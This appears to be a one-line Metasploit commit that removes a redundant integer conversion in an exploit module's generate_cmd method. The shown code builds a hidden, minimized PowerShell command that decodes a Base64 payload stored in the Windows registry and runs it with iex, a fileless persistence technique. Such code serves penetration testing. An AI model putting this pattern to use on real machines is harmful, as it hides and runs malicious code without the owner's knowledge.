What happens here is it converts to a Fixnum, and then it converts
back to a String anway because it's in a String.
This commit is contained in:
wchen-r7 2015-11-18 15:25:18 -06:00
parent a484b318eb
commit 3c72135a2f
1 changed files with 1 additions and 1 deletions

View File

@ -68,7 +68,7 @@ class Metasploit4 < Msf::Exploit::Local
end
def generate_cmd(root_path, blob_key_name, blob_key_reg)
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME'].to_i}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
return cmd
end